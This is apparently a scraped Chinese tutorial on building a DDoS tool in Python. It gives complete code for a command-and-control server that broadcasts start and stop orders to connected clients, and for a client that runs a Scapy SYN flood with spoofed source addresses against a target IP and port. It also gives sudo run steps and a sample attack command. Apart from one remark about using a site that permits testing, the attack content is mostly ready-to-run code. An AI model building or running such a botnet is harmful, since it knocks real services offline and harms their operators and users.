結合Socket實現DDoS攻擊

1、實驗說明

1. 實驗介紹

經過上一節實驗的SYN泛洪攻擊結合Socket實現DDoS攻擊。php

2. 開發環境

  • Ubuntu Linux
  • Python 3.x版本

3. 知識點

本次實驗將涉及如下知識點:css

  • argparse 命令解析
  • socket的基本用法

4. 效果圖

此處輸入圖片的描述

此處輸入圖片的描述

2、理論知識

1. 實現思路

因爲上節實驗咱們已經實現了SYN泛洪攻擊,而DDoS則是多臺主機一塊兒發起攻擊,咱們只須要能發送命令,讓鏈接到服務器的客戶端一塊兒向同一目標發起攻擊就能夠了。python

對安全領域比較關注的朋友可能都知道世界最大的黑客組織Anonymous常用LOIC(Low Orbit Ion Cannon,低軌道離子炮)進行大規模的DDoS。LOIC有個HIVEMIND模式,用戶能夠經過鏈接到一臺IRC服務器,當有用戶發送命令,任何以HIVEMIND模式鏈接到IRC服務器的成員都會當即攻擊該目標!編程

這種方式的優勢是不須要傀儡機,能夠有不少「志同道合」的人一塊兒幫助你實現DDoS,不過不太適合在傀儡機中使用。固然實現思路有不少,根據不一樣狀況的選擇也會不一樣。而這裏咱們將採用客戶端、服務器的方式來實現DDoS,這種方式很是簡單,可擴展性也比較強。安全

此處輸入圖片的描述

2. argparse模塊

因爲Server端須要發送命令去控制Client端發起攻擊,因此這裏咱們先規定好命令格式:bash

'#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>' 

-H後面是被攻擊主機的IP地址,-p指定被攻擊的端口號,-c控制攻擊的開始與中止。服務器

命令制定好了,如今咱們來學習一下命令解析庫argparse的用法。看過我其餘實驗的同窗可能已經瞭解argparse的用法了,這裏能夠跳過或者當作複習從新學習一遍。 先來看一下argparse的文檔:網絡

此處輸入圖片的描述

在文檔的描述中,能夠看出argparse是一個命令行解析庫,代替了老版本的optparse。下面咱們經過一個例子一塊兒瞭解一下argparse的基本用法!app

#導入argparse庫 import argparse #建立ArgumentParser對象 parser = argparse.ArgumentParser(description='Process some integers.') #添加參數 parser.add_argument('-p', dest='port', type=int, help='An port number!') #解析命令行參數 args = parser.parse_args() print('Port:',args.port) 

上面的例子中,咱們建立了一個ArgumentParser對象,description參數是對命令行解析的一個描述信息,一般在咱們使用-h命令的時候顯示。add_argument添加咱們要解析的參數,這裏咱們只添加了一個-p參數,dest是經過parse_args()函數返回的對象中一個屬性的名稱。type你們應該很好理解,就是解析參數的類型。help指定的字符串是爲了自動生成幫助信息。argparse默認就支持-h參數,只要咱們在添加參數的時候指定了help的值就能夠生成幫助信息了。框架

3. socket模塊

此處輸入圖片的描述

Python中的socket提供了訪問BSDsocket的接口,能夠很是方便的實現網絡中的信息交換。一般咱們使用socket的時候須要指定ip地址、端口號以及協議類型。在進行socket編程以前咱們先了解一下客戶端(Client)和服務器(Server)的概念。通俗的講主動發起鏈接請求的稱爲客戶端,監聽端口響應鏈接的咱們稱爲服務器。 下面我寫一個客戶端和服務器的例子:

客戶端

#導入socket庫 import socket #建立socket: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #創建鏈接 s.connect(('192.168.0,100', 7786)) 

在上面的這個例子咱們首先導入socket庫,而後建立了一個socket對象,socket對象中的參數AF_INET表示咱們使用的是IPV4協議,SOCK_STREAM則表示咱們使用的是基於流的TCP協議。最後咱們指定ip地址端口號創建鏈接。

服務器

#導入socket庫 import socket cliList = [] #建立socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #綁定地址和端口號 s.bind(('0.0.0.0', 7786)): #開始監聽 s.listen(10) while True: # 接受一個新的鏈接: sock, addr = s.accept() #將sock添加到列表中 cliList.append(sock) 

能夠看到服務器的寫法稍稍比客戶端複雜一些,在建立玩socket以後,要綁定一個地址和端口,這裏的0.0.0.0表示綁定到全部的網絡地址,端口號只要不是已經使用的端口號就能夠了。以後開始監聽端口,並在參數中指定最大鏈接數爲10。最後咱們循環等待新的鏈接,並將已鏈接的sock對象添加到了一個列表中。注意這裏accept()默認是阻塞的,還能夠經過settimeout()設定等待時間或者setblocking()設置爲非阻塞模式,更多的相關細節能夠查看Python官方文檔

3、編碼實現

經過前面的學習咱們已經瞭解了本次實驗須要的基礎知識,如今咱們就來分別實現Server端和Client端。

1. Server端

因爲Server端能等待Client主動鏈接,因此咱們在Server端發送命令,控制Client端發起SYN泛洪攻擊

實現主函數的完整邏輯,在主函數中咱們建立socket, 綁定全部網絡地址58868端口並開始監聽,以後咱們新開一個線程來等待客戶端的鏈接,以避免阻塞咱們輸入命令。

def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 58868)) s.listen(1024) t = Thread(target=waitConnect,args=(s,)) t.start() 

因爲咱們要給全部客戶端發送命令,因此咱們在新開的線程中將鏈接進來的socket添加到一個list中,這個咱們稍後介紹,但在主函數中咱們第一次輸入命令以前須要至少有一個客戶端鏈接到服務器,因此這裏咱們判斷了一下socket的長度。

print('Wait at least a client connection!') while not len(socketList): pass print('It has been a client connection!') 

如今循環等待輸入命令,輸入以後判斷命令是否知足命令格式的基本要求,若是知足了,咱們就把命令發送給全部客戶端。

while True: print('=' * 50) print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"') #等待輸入命令 cmd_str = input('Please input cmd:') if len(cmd_str): if cmd_str[0] == '#': sendCmd(cmd_str) 

如今咱們程序的大致框架已經有了,如今咱們來編寫主函數中沒有完成的子功能。 首先咱們應該實現等待客戶端的函數,方便開啓新的線程。

在這個函數中,咱們只須要循環等待客戶端的鏈接就能夠了,新鏈接的socket要判斷一下是否在socketList中已經存儲過了,若是沒有的話就添加到socketList中。

#等待鏈接 def waitConnect(s): while True: sock,addr = s.accept() if sock not in socketList: socketList.append(sock) 

咱們再來實現發送命令的函數,這個函數咱們遍歷socketList這個列表,將每一個socket都調用一次send將命令發送出去。

#發送命令 def sendCmd(cmd): print('Send command......') for sock in socketList: sock.send(cmd.encode('utf-8')) 

至此咱們的Server端就完成了,是否是很簡單!固然咱們只是實現了基本功能,還有不少能夠擴展,這個就留給同窗們發揮了,觸類旁通進步纔會快!

咱們來看一下Server端的完整代碼:

import socket import argparse from threading import Thread socketList = [] #命令格式'#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>' #發送命令 def sendCmd(cmd): print('Send command......') for sock in socketList: sock.send(cmd.encode('utf-8')) #等待鏈接 def waitConnect(s): while True: sock,addr = s.accept() if sock not in socketList: socketList.append(sock) def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 58868)) s.listen(1024) t = Thread(target=waitConnect,args=(s,)) t.start() print('Wait at least a client connection!') while not len(socketList): pass print('It has been a client connection!') while True: print('=' * 50) print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"') #等待輸入命令 cmd_str = input('Please input cmd:') if len(cmd_str): if cmd_str[0] == '#': sendCmd(cmd_str) if __name__ == '__main__': main() 

2. Client端

咱們將在Client端實現對主機的SYN泛洪攻擊,並在腳本啓動後主動鏈接Server端,等待Server端發送命令。

仍是先看主函數了解一下總體思路,在主函數中咱們先建立ArgumentParser()對象,並將須要解析的命令參數添加好。

def main():
    p = argparse.ArgumentParser()
    p.add_argument('-H', dest='host', type=str) p.add_argument('-p', dest='port', type=int) p.add_argument('-c', dest='cmd', type=str) 

如今能夠建立socket,鏈接服務器了。這裏爲了測試咱們鏈接到本地地址的58868端口吧!以後咱們就能夠等待服務器發送命令了。

try: s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('127.0.0.1',58868)) print('To connected server was success!') print("=" * 40) cmdHandle(s,p) except: print('The network connected failed!') print('Please restart the script!') sys.exit(0) 

咱們將接收命令和處理命令定義在了一個單獨的函數中。在這裏咱們用到了一個全局變量,用於判斷是否有進程正在發起SYN泛洪攻擊。以後就開始循環接收命令了,接收以後到的數據是byte型,咱們須要對其進行解碼,解碼以後纔是字符串。若是接收到的數據長度爲0,就跳事後續的內容,從新接收數據。

#處理命令 def cmdHandle(sock,parser): global curProcess while True: #接收命令 data = sock.recv(1024).decode('utf-8') if len(data) == 0: print('The data is empty') continue ` 

若是數據的長度不爲0,就判斷是否具備命令基本格式的特徵(#),知足基本條件就須要用咱們的ArgumentParser對象來解析命令了。

if data[0] == '#': try: #解析命令 options = parser.parse_args(data[1:].split()) m_host = options.host m_port = options.port m_cmd = options.cmd 

命令參數解析出來後,我麼就要判斷究竟是start命令仍是stop命令了,若是是start命令,咱們首先判斷當前是否有進程在運行,若是有進程判斷進程是否存活。若是當前有進程正在發起SYN泛洪攻擊,咱們就先結束這個進程,並清空屏幕。而後咱們就直接啓動一個進程,發起SYN泛洪攻擊

#DDoS啓動命令 if m_cmd.lower() == 'start': if curProcess != None and curProcess.is_alive(): #結束進程 curProcess.terminate() curProcess = None os.system('clear') print('The synFlood is start') p = Process(target=synFlood,args=(m_host,m_port)) p.start() curProcess = p 

若是命令是stop,而且有進程存活,咱們就直接結束這個進程,並清空屏幕。不然就什麼也不作。

#DDoS中止命令 elif m_cmd.lower() =='stop': if curProcess.is_alive(): curProcess.terminate() os.system('clear') except: print('Failed to perform the command!') 

因爲SYN泛洪攻擊咱們在上一節實驗中已經實現,這裏就很少介紹了。如今咱們看一下完整的Client端代碼:

#!/usr/bin/python3 # -*- coding: utf-8 -*- import sys import socket import random import argparse from multiprocessing import Process from scapy.all import * import os isWorking = False curProcess = None #SYN泛洪攻擊 def synFlood(tgt,dPort): print('='*100) print('The syn flood is running!') print('='*100) srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] for sPort in range(1024,65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags="S") packet = ipLayer / tcpLayer send(packet) #命令格式'#-H xxx.xxx.xxx.xxx -p xxxx -c <start>' #處理命令 def cmdHandle(sock,parser): global curProcess while True: #接收命令 data = sock.recv(1024).decode('utf-8') if len(data) == 0: print('The data is empty') return if data[0] == '#': try: #解析命令 options = parser.parse_args(data[1:].split()) m_host = options.host m_port = options.port m_cmd = options.cmd #DDoS啓動命令 if m_cmd.lower() == 'start': if curProcess != None and curProcess.is_alive(): curProcess.terminate() curProcess = None os.system('clear') print('The synFlood is start') p = Process(target=synFlood,args=(m_host,m_port)) p.start() curProcess = p #DDoS中止命令 elif m_cmd.lower() =='stop': if curProcess.is_alive(): curProcess.terminate() os.system('clear') except: print('Failed to perform the command!') def main(): #添加須要解析的命令 p = argparse.ArgumentParser() p.add_argument('-H', dest='host', type=str) p.add_argument('-p', dest='port', type=int) p.add_argument('-c', dest='cmd', type=str) print("*" * 40) try: #建立socket對象 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #鏈接到服務器端 s.connect(('127.0.0.1',58868)) print('To connected server was success!') print("=" * 40) #處理命令 cmdHandle(s,p) except: print('The network connected failed!') print('Please restart the script!') sys.exit(0) if __name__ == '__main__': main() 

4、程序測試

準備工做都作好了,如今咱們來測試一下咱們的腳本是否能完成咱們的任務。

首先咱們運行Server端腳本:

sudo python3 ddosSrv.py 

而後運行Client端腳本,記住這裏必定要用root權限來運行:

sudo python3 ddosCli.py 

能夠看到Client端已經提示鏈接成功了

此處輸入圖片的描述

Server端也提示有一個客戶端鏈接了,並且能夠輸入命令了。

此處輸入圖片的描述

咱們輸入一個命令測試一下,爲了維護綠色的網絡環境,最好找個容許測試的站點:

#-H x.x.x.x -p 80 -c start 

此處輸入圖片的描述

看看Client端是否已經開始SYN泛洪攻擊了

此處輸入圖片的描述

Client端已經開始發送數據包了,說明已經發起了SYN泛洪攻擊。至此咱們的實驗就所有完成了。

5、總結

經過這兩節的實驗咱們應該已經掌握了基於Scapy DDoS攻擊的實現方法,其實方法還有不少,同窗們能夠根據本次實驗擴展一下,使本次實驗的腳本更加完善或者採用新的方式實現DDoS。 下面總結一下這兩次實驗所涉及到的知識點:

  1. 使用Scapy實現SYN數據包
  2. Python中argparse的用法
  3. Python中socket的用法
  4. 使用socket實現客戶端服務器
相關文章
相關標籤/搜索